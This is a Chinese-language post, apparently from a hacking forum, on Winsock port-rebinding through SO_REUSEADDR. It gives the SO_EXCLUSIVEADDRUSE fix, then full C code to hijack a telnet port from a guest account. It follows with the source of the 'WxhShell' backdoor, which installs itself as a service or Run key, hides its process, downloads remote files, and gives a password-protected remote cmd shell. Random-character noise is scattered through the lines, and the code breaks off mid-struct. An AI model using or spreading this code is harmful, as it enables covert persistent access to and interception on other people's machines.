在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
~LSy7$rz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^75pV%<% \?[O,A saddr.sin_family = AF_INET;
t<8z08 *pY/5? g saddr.sin_addr.s_addr = htonl(INADDR_ANY);
La@\q[U{@ eO~eu]r bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
D_zcOq9 ;Kt'Sit 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xMLrLXy bW}b<(y 这意味着什么?意味着可以进行如下的攻击:
ya;@<b `AB~YX%( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
9$8X>T^ $]xE$dzJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"Fo rE9Ta8j6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.Ydr[ @<0h"i
x 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$HP/cKu 5^bh.uF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3KB|NS V,`!rJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~D$#>'C# 9T?~$XlX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
wA{*W>i LNWqgIq #include
{H/8#y4qp& #include
V}j%gy` #include
NU BpIx& #include
\z&03@Sw DWORD WINAPI ClientThread(LPVOID lpParam);
J{aQ1) int main()
tvGg@Xs\ {
hqdC9?\ WORD wVersionRequested;
`8.1&fBr DWORD ret;
IY-(-
a8 WSADATA wsaData;
XL{{7%j BOOL val;
"v*oga% SOCKADDR_IN saddr;
^U R-#WaQ SOCKADDR_IN scaddr;
gNG0k$nP int err;
vsOdp:Yp9! SOCKET s;
eV@4VxaZ SOCKET sc;
`M towXj int caddsize;
}(8D!XgWa HANDLE mt;
z0EjIYI[N DWORD tid;
#p']-No wVersionRequested = MAKEWORD( 2, 2 );
L{4),65 err = WSAStartup( wVersionRequested, &wsaData );
f$~ _FX if ( err != 0 ) {
{ILp[&sL printf("error!WSAStartup failed!\n");
\HBVNBY return -1;
"it`X
B. }
UwvGr h saddr.sin_family = AF_INET;
*##QXyyg *C[4 (DmB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ez{P-qB Lg\8NtP saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Gsx^j? saddr.sin_port = htons(23);
>eYU$/80 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U^vUdM" {
tg4LE?nv printf("error!socket failed!\n");
V'Sd[* return -1;
t?pIE cl }
B<vvsp\X val = TRUE;
!Qj)tS#Az //SO_REUSEADDR选项就是可以实现端口重绑定的
OqAh4qa,$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
m70`{-O {
s{x*~M$vt printf("error!setsockopt failed!\n");
cij]&$;Q return -1;
K|P9uHD }
u K+9gTv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
iX0]g45o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}z9I`6[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
a>;3
j +xoyKP! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
1Xk{(G<\ {
c+)36/; X ret=GetLastError();
kMfc"JXF printf("error!bind failed!\n");
dXf]G6 return -1;
$9LGdKZ_D }
Huc3|~9 listen(s,2);
u&?yPR while(1)
b<29wL1 {
F``EARG)iu caddsize = sizeof(scaddr);
HM(bR"E //接受连接请求
-52@%uB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[="g|/M) if(sc!=INVALID_SOCKET)
W07-JHV% {
AaCnTRG mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8gu'dG = if(mt==NULL)
02]8|B(E90 {
Fyi?,, printf("Thread Creat Failed!\n");
y{&{=1# break;
|,M#8NOp: }
T6/$pJl }
S\yu%=h CloseHandle(mt);
\S|VkPv }
i4{ / closesocket(s);
H`+]dXLB WSACleanup();
r-1yJ return 0;
B^_$
hJncc }
)eTnR:= DWORD WINAPI ClientThread(LPVOID lpParam)
nsr
_\F\ {
@4W\RwD SOCKET ss = (SOCKET)lpParam;
di)noQXkB- SOCKET sc;
L:k@BCQM unsigned char buf[4096];
7>W+Uq SOCKADDR_IN saddr;
9}'l=b:Jms long num;
WNF=NNO-R DWORD val;
W_e-7=6 DWORD ret;
"W,"qFx //如果是隐藏端口应用的话,可以在此处加一些判断
?h>%Ix //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.5Z,SGBf saddr.sin_family = AF_INET;
H$=h- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
pDq^W@Rq saddr.sin_port = htons(23);
b3y,4ke" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ca`/ t8= {
|2+F I<v4 printf("error!socket failed!\n");
{=pP`HD0 return -1;
//'xR8Z }
SoM
]2^ val = 100;
SzgY2+Qq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VfE^g\Ia {
7Dx .; ret = GetLastError();
|RvpEy76 return -1;
$fj"* }
Hjo:;s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
RJ`/qXL {
]ukj]m/@ ret = GetLastError();
JJbM)B@- return -1;
Q%AS;(d }
2jrX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9^C!,A{u4 {
=`7)X\i@z printf("error!socket connect failed!\n");
nfd?@34"A2 closesocket(sc);
Rm[rQ}: closesocket(ss);
+gD)Yd return -1;
.x-Z+Rs{g }
q9a
wzj while(1)
~;O=
7 {
]>S$R&a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_+R_ms //如果是嗅探内容的话,可以再此处进行内容分析和记录
ek0;8Ds9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x/jN&;"/ num = recv(ss,buf,4096,0);
[u9S+:7" if(num>0)
B#Oc8`1Y send(sc,buf,num,0);
d@q t%r3; else if(num==0)
ui#1 +p3G break;
5>z:[OdY* num = recv(sc,buf,4096,0);
lG[
)8!:+ if(num>0)
sP8-gkkor send(ss,buf,num,0);
"#eNFCo7k else if(num==0)
W0uM?J\O break;
f'zFg["aZS }
\PtC closesocket(ss);
XR=c
8f closesocket(sc);
E6wST@r return 0 ;
@u'27c_<d3 }
/iJcy:J ~M9n<kmE \SH D ==========================================================
KSpC%_LC :0TSOT9. 下边附上一个代码,,WXhSHELL
xx`8>2T#e #*;fQ&p ==========================================================
t73Z3M scPq\Qd?O #include "stdafx.h"
%&Q7;? uK&wS#uY #include <stdio.h>
h+'eFAZ #include <string.h>
$xn%i\ #include <windows.h>
(=&bo p #include <winsock2.h>
J/P@m_Yx #include <winsvc.h>
+EB,7<5< #include <urlmon.h>
1-Wnc'(OK DGuUI}|) #pragma comment (lib, "Ws2_32.lib")
?PxYS%D_L #pragma comment (lib, "urlmon.lib")
O'sr[ d=5}^v#4 #define MAX_USER 100 // 最大客户端连接数
WUOPYYW<o #define BUF_SOCK 200 // sock buffer
$P}]|/Yb #define KEY_BUFF 255 // 输入 buffer
I>4Tbwy.- F+m4 #define REBOOT 0 // 重启
Xy8ie:D #define SHUTDOWN 1 // 关机
@v-)|8GdY Z?!:=x>7m #define DEF_PORT 5000 // 监听端口
z&yb_A:> {pJ@I=q #define REG_LEN 16 // 注册表键长度
Y|N vBr #define SVC_LEN 80 // NT服务名长度
Z-sN4fr a fM[fS?W // 从dll定义API
kKk |@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+q,n}@y= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nR |LV'( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&+r
;> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`GN5QLg#}0 uc (yos // wxhshell配置信息
Q{|'g5(O struct WSCFG {
g}og@UY7# int ws_port; // 监听端口
IOES3 char ws_passstr[REG_LEN]; // 口令
wbF1>{/" int ws_autoins; // 安装标记, 1=yes 0=no
DBh/V#* D char ws_regname[REG_LEN]; // 注册表键名
&T/9yW[L char ws_svcname[REG_LEN]; // 服务名
I8oKa$RF char ws_svcdisp[SVC_LEN]; // 服务显示名
AiHDoV+- char ws_svcdesc[SVC_LEN]; // 服务描述信息
LGgx.Z char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1X_!%Z int ws_downexe; // 下载执行标记, 1=yes 0=no
\w\47/k{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Va[dZeoy char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`&Of82*w aKU8"
5 };
cM'[;u RknSWuFKt // default Wxhshell configuration
-bb7Y struct WSCFG wscfg={DEF_PORT,
^A$XXH' "xuhuanlingzhe",
v&/-&(+ 1,
zSvHv s "Wxhshell",
](6vG$\ "Wxhshell",
jE5
9h "WxhShell Service",
Fu$Gl$qV?% "Wrsky Windows CmdShell Service",
O09g b[ "Please Input Your Password: ",
`[u>NEb 1,
aZCZ/ "
http://www.wrsky.com/wxhshell.exe",
5N</Z6f'o "Wxhshell.exe"
n)7$xYuH };
btz3f9 +O:pZz // 消息定义模块
+#"Ic: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
l{SPV8[i char *msg_ws_prompt="\n\r? for help\n\r#>";
dE!=a|Pl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
k)t8J \ char *msg_ws_ext="\n\rExit.";
2
]6u
Be char *msg_ws_end="\n\rQuit.";
2X|jq4 char *msg_ws_boot="\n\rReboot...";
4)Wzj4qW char *msg_ws_poff="\n\rShutdown...";
XlcDF|?{. char *msg_ws_down="\n\rSave to ";
<yaw9k+P 0JL6EL>_ char *msg_ws_err="\n\rErr!";
k.f:nv5JO char *msg_ws_ok="\n\rOK!";
iP\&fZY_ vh.tk^& char ExeFile[MAX_PATH];
"YU~QOGx@ int nUser = 0;
z{+; '9C HANDLE handles[MAX_USER];
D7'0o`| int OsIsNt;
c] 9CN k yA(m;r SERVICE_STATUS serviceStatus;
ill' KPy SERVICE_STATUS_HANDLE hServiceStatusHandle;
%iFIY=W T{xo_u{Q // 函数声明
>!.lr9(l int Install(void);
(zODV4,5k` int Uninstall(void);
i]WlMC6 int DownloadFile(char *sURL, SOCKET wsh);
jsht2]iq3K int Boot(int flag);
%SFR.U0}yK void HideProc(void);
?PtRb:RHt int GetOsVer(void);
`D4'`Or-U int Wxhshell(SOCKET wsl);
mP+yjRw void TalkWithClient(void *cs);
n&&U9sf? int CmdShell(SOCKET sock);
fszeJS}Dw int StartFromService(void);
&=O1Qg=K int StartWxhshell(LPSTR lpCmdLine);
AS^$1i: /3%xQK>% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~4gKAD VOID WINAPI NTServiceHandler( DWORD fdwControl );
zC;lfy{f= }ZGpd9D // 数据结构和表定义
&8L\FAY0%9 SERVICE_TABLE_ENTRY DispatchTable[] =
TTak[e&j3 {
3Ya6yz {wscfg.ws_svcname, NTServiceMain},
'UCx^- {NULL, NULL}
Gf.o{ };
#u(,#(P'# AdW7 vn // 自我安装
X.5LB!I) int Install(void)
p arG {
eV}Tx;1|} char svExeFile[MAX_PATH];
RxG./GY HKEY key;
@n'ss!h strcpy(svExeFile,ExeFile);
YQsc(6 Y|jesa {x // 如果是win9x系统,修改注册表设为自启动
`;GGuJb \ if(!OsIsNt) {
dR{
V,H7N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.[s82c]]6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nit7|T@^ RegCloseKey(key);
*dgNpJ 9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|.W;vc < RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|^!@ RegCloseKey(key);
5W-M8dc6 return 0;
="E
V@H?U }
XmR5dLc8 }
.?]_yX }
K0a
50@B] else {
}-iOYSn kfECC&" // 如果是NT以上系统,安装为系统服务
]`9K|v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=%G[vm/-) if (schSCManager!=0)
(fb\A6 {
Lwk- SC_HANDLE schService = CreateService
W4Q]<<6& (
ogbdt1 schSCManager,
be@uHikp;v wscfg.ws_svcname,
3o^M% wscfg.ws_svcdisp,
<-aI%'?* SERVICE_ALL_ACCESS,
TnAX;+u SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
_@76eZd SERVICE_AUTO_START,
j)*nE./3 SERVICE_ERROR_NORMAL,
5nb6k,+E svExeFile,
f/m6q8!L{ NULL,
6GvnyJ{[ NULL,
o)WSMV(&f NULL,
,Yz+?SmSZ& NULL,
=1Jo-!{{ NULL
VHNiTp );
_.LWc^Sg if (schService!=0)
x*)O<K {
@U5>w\ CloseServiceHandle(schService);
NDGBvb CloseServiceHandle(schSCManager);
)Cfrqe1^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+2O_LPV$, strcat(svExeFile,wscfg.ws_svcname);
4N:
;Mo&B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6>J#M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5)6%D RegCloseKey(key);
+06j+I return 0;
lNAHn<ht }
WQ`T'k#ESW }
i(rY'o2 BN CloseServiceHandle(schSCManager);
net9KX4\ }
%Ski5q }
i*j+<R@ `h6W@ROb return 1;
INpub5 }
49GCj`As m"]ys# // 自我卸载
M+:wa@Kl int Uninstall(void)
t68RWzqiG[ {
TaG-^bX8B HKEY key;
1YL5 ![T bux-t3g7+ if(!OsIsNt) {
8?XZF[D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JK^;-& RegDeleteValue(key,wscfg.ws_regname);
Y1IlH8+0 RegCloseKey(key);
O2f2Fb$B7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
fO nvC* RegDeleteValue(key,wscfg.ws_regname);
;wrgpP3 RegCloseKey(key);
Jmx}r,j return 0;
37Y]sJrs$ }
|e>-v }
pM3BBF% }
2oLa`33c1 else {
xkovoTzV F)Lbr>H?I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V;jz0B if (schSCManager!=0)
/G ;yxdb {
cK&oC$[r- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
=@o} if (schService!=0)
G]CY3xw98 {
'o L8Z if(DeleteService(schService)!=0) {
qzz'v CloseServiceHandle(schService);
M5uN1* CloseServiceHandle(schSCManager);
!4:,,!T return 0;
oDa{HP\O]W }
TZg7BLfy CloseServiceHandle(schService);
2Fi*)\{ }
~l~g0J CloseServiceHandle(schSCManager);
X $f%Ss }
wQT'~'kL }
6*7&X#gG q0wVV return 1;
(6nw8vQ }
HenJlo ~@lNBF // 从指定url下载文件
F04Etf
2k int DownloadFile(char *sURL, SOCKET wsh)
R8l9i2 {
-}@9lhS, HRESULT hr;
{W]jVh p char seps[]= "/";
AK
HH{_ char *token;
g:U ul4 char *file;
cht#~d char myURL[MAX_PATH];
ZtVa*xl char myFILE[MAX_PATH];
O [/~V= gZ3!2T> strcpy(myURL,sURL);
<=Qk^Y2k token=strtok(myURL,seps);
V_!i KEU while(token!=NULL)
@V)WJ{ {
q]x@q file=token;
tANG ] token=strtok(NULL,seps);
/
<p HDY }
il~,y8WTU{ jPfoI- GetCurrentDirectory(MAX_PATH,myFILE);
$$a"A(Y strcat(myFILE, "\\");
tF|bxXsZ strcat(myFILE, file);
h.*|4; send(wsh,myFILE,strlen(myFILE),0);
(agdgy:# send(wsh,"...",3,0);
Xc!w
y9m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
3>+;G4 if(hr==S_OK)
Tx*m
p+q return 0;
#82B`y<<y/ else
hlRE\YO&8R return 1;
Y{KJk'xN5W ry'(mM }
Lmb<)YY \IKr+wlN8 // 系统电源模块
]NCOi?Odx int Boot(int flag)
F~1R.r_Lu {
scdT/|(U$ HANDLE hToken;
E_K7.c4M TOKEN_PRIVILEGES tkp;
gA6C(##0 #_d%hr~d if(OsIsNt) {
}1V&(#H2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|($pXVLH` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tz,FK;8 tkp.PrivilegeCount = 1;
?D_zAh?pW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e\<I:7%Rg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~J|0G6H if(flag==REBOOT) {
V;"'!dVX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
nFqMS|EN return 0;
LdOB[W }
Dng^4VRd else {
>qE$:V"_5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
t`Sh!e return 0;
U&6f}=vC }
,O}zgf*H; }
b7-a0zaN else {
)l=j,4nn if(flag==REBOOT) {
-8IiQRS if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
v,jU9D\ return 0;
J?&9ofj& }
.qZ<ROZ else {
b|N EU-oy if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Y3[@( return 0;
+ '`RJ,K+[ }
5GKz@as8 }
9g7T~|P }^H_|;e1p return 1;
*b&| }
7%hMf$KQ sdb#K?l // win9x进程隐藏模块
0PN{
+<?. void HideProc(void)
6[cMPp x {
&\LbajP:+ tm$3ZzP4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
E~B
LY{3: if ( hKernel != NULL )
KnuqU2<
{ {
SC# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Vh&uSi1V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
q45n.A6a FreeLibrary(hKernel);
z8oSh t`+ }
;.iy{&$ 5q\]] LV> return;
TtzB[F }
[Y[|:_+5 fA8 ,wy|> // 获取操作系统版本
^#nAS2w7U int GetOsVer(void)
j'Fni4; {
^dro*a, OSVERSIONINFO winfo;
/#tOi[0[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
U-@\V1;C GetVersionEx(&winfo);
fIu/*PFPVY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&:rf80`z. return 1;
EB\\
F else
F
J)la9 return 0;
avQwbAh[ }
R8HFyP 8qT/1b // 客户端句柄模块
;yr'K int Wxhshell(SOCKET wsl)
"zugnim {
?n}L+| SOCKET wsh;
c5JxKU_ struct sockaddr_in client;
[|vdr. DWORD myID;
b<%6aRC\ #}.db?[Rv while(nUser<MAX_USER)
dP82bk/e {
y&UsSS int nSize=sizeof(client);
7XaRi@uG wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7z}NI,R}1 if(wsh==INVALID_SOCKET) return 1;
.mMM]*e[0 Hg]r5Fe/c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
xT%CY(:9X if(handles[nUser]==0)
)Ipa5i>t closesocket(wsh);
$(BW |Pc else
p &A3l nUser++;
[L:,A{rve }
,+WDa%R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
oYW:ptJ HJDM\j*5 return 0;
)gZ yW
}
WHL@]^E@m &T{+B:*v // 关闭 socket
yJ?6B LJi void CloseIt(SOCKET wsh)
~x2azY2DP {
YM-,L-HMA closesocket(wsh);
-Wf 2m6t nUser--;
)<%GHDWL ExitThread(0);
T{Av[>M }
LBTf}T\ 'Je;3"@ // 客户端请求句柄
BPW2WSm@< void TalkWithClient(void *cs)
U2;_{n*g% {
WmeV[iI {$Qw]?Yv SOCKET wsh=(SOCKET)cs;
W 5-=,t char pwd[SVC_LEN];
EsdA%` char cmd[KEY_BUFF];
d4~!d>{n|c char chr[1];
ZjWI~"] int i,j;
/>H9T[3= #}o*1 while (nUser < MAX_USER) {
}5`Kn}rY L^dF
)y? if(wscfg.ws_passstr) {
Y-v6xUc{F if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[&51m^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m)V%l0 //ZeroMemory(pwd,KEY_BUFF);
^I7iEv i=0;
arm26YA-, while(i<SVC_LEN) {
X-=49) fTMn // 设置超时
EW]rD fd_set FdRead;
#V@[<S2 struct timeval TimeOut;
4PR!OB FD_ZERO(&FdRead);
Lc=t,=OhGe FD_SET(wsh,&FdRead);
m;'ebkq TimeOut.tv_sec=8;
w=,bF$:fIW TimeOut.tv_usec=0;
S/V%<<[>p] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
9J*.'Y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
K9]L>Wj ",Mr+;;:[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Dc2H<=]; pwd
=chr[0]; zt6GJz1q
if(chr[0]==0xd || chr[0]==0xa) { ]v=A}}kS
pwd=0; *|Tx4Qt
break; f["c,,[
} ^?}-x
i++; 1N,</<"
} qx|~H'UuBN
\(C6|-:GY
// 如果是非法用户,关闭 socket Z):q 1:y
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MR}=tO
} ~7ZWtg;B
x. 8fxogz
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e w?4;
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?L x*MJZ
W^k95%zBM
while(1) { fS?}(7
\ ,D>zF
ZeroMemory(cmd,KEY_BUFF); a]]eQ(xQ
3?5JY;}h>"
// 自动支持客户端 telnet标准 6Z.Fyte
j=0; %vUY|3G
while(j<KEY_BUFF) { tnE),
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FF #T"y0Y
cmd[j]=chr[0]; k'QI`@l&l
if(chr[0]==0xa || chr[0]==0xd) { LGB}:;$AL
cmd[j]=0; c^3,e/H
break; iSbPOC7
} ||D PIn]
j++; ,+~8R"
} q#=HBSyM
5/8=Do](
// 下载文件 Y
\ Gx|
if(strstr(cmd,"http://")) { R"W5R-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); |yS %
if(DownloadFile(cmd,wsh)) 2D UY4Ti
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HA$Xg
j
else %:t! u&:q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j<'ftKk
} ncrg`<'/,
else { Uo?4o*}
qF\w#nG
switch(cmd[0]) { /z!Tgs4
r3qKT
// 帮助 PzOnS
case '?': { ;6:9 EEd
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bMn)lrsX
break; -U*J5Q
} bFjH*~
P
// 安装
pu~b\&^G
case 'i': { ,oykOda:|
if(Install()) (@->AJF1\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I3HO><of
else /% g+|C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /yHjds
break; ":0u%E?s
} i-PK59VZ8f
// 卸载 p4V* %A&w
case 'r': { |sd G<+
if(Uninstall()) NOg/rDs'{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<7sM#sI!
else auga`*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s]]lB018O\
break; ;4l8Qg
7
} ?VlGTMaS+
// 显示 wxhshell 所在路径 ~UJ.A<>Fh
case 'p': { HjIIhl?UY
char svExeFile[MAX_PATH]; vJxEF&X
strcpy(svExeFile,"\n\r"); `;Ho<26
strcat(svExeFile,ExeFile); yts@cd`$
send(wsh,svExeFile,strlen(svExeFile),0); R2v9gz;W
break; !(
>U3N
} LaO8)lqR
// 重启 a*-9n-U@[k
case 'b': { ( <YBvpt4>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^D<CoxG
if(Boot(REBOOT)) L&c
&
<+0T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :.4O
Hp1
else { T%%
0W J
closesocket(wsh); 9dq"x[
ExitThread(0); !m^;wkrY
} GF6 o
break; ,A'| Z
} "I66@d?
// 关机 ~P#mvQE)
case 'd': { 0N^+d,Xt.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ltfKqY-
if(Boot(SHUTDOWN)) <3!Al,!ej@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .u>[m.
else {
yUj`vu2
closesocket(wsh); .<zKBv
ExitThread(0); d\uN
} :`e#I/,
break;
V1B!5N<
} 5mQ@&E~#W
// 获取shell mFg$;F
case 's': { @4hzNi+
CmdShell(wsh); g'KxjjYT,
closesocket(wsh); ele@xl
ExitThread(0); TKM^
break; 4^uSW&`;/
} XHekz6_
// 退出 sEFQ8S
case 'x': { @QV0l]H0+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *#'j0;2F
CloseIt(wsh); tBbOxM m0
break; PQDLbSe)\
} +=jS!
// 离开 ep=r7Mft
case 'q': { :~ pGHl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3("C'(W
closesocket(wsh); KEtV
WSACleanup(); +9w[/n ^,G
exit(1); .ojEKu+EJ'
break; gYhY1Mym
} 9T;4aP>6j#
} lhKn&U
} d!E_EoOi
sSZ)C|Q
// 提示信息 gYD1A\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Y9#y{v1
} H}$7c`;q
} =}0Uw4ub(u
ID43s9
return; (iX8YP$ %
} !gve]>M
&cL1 EQ(
// shell模块句柄 z~#;[bER
int CmdShell(SOCKET sock) qtExd~E
{ C<
9x\JY%
STARTUPINFO si; B W<Dmn
ZeroMemory(&si,sizeof(si)); Z#Mm4(KNh
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; se\f be ^0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5Jbwl$mZ
PROCESS_INFORMATION ProcessInfo; ^1najUpQ_n
char cmdline[]="cmd"; $DoR@2~y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -N8rs[c
return 0; x="Wqcnj{
} B+K6(^j,,y
<Z]#vrq
// 自身启动模式 r,Uk)xa/^
int StartFromService(void) O;H6`JQ
{ j{%;n40$
typedef struct %rylmioW>
{ ]xQv\u
DWORD ExitStatus; _ocCt XI9
DWORD PebBaseAddress; 23wztEp{a
DWORD AffinityMask; j(=w4Sd_W
DWORD BasePriority; hm,{C
ULONG UniqueProcessId; I/`"lAFe
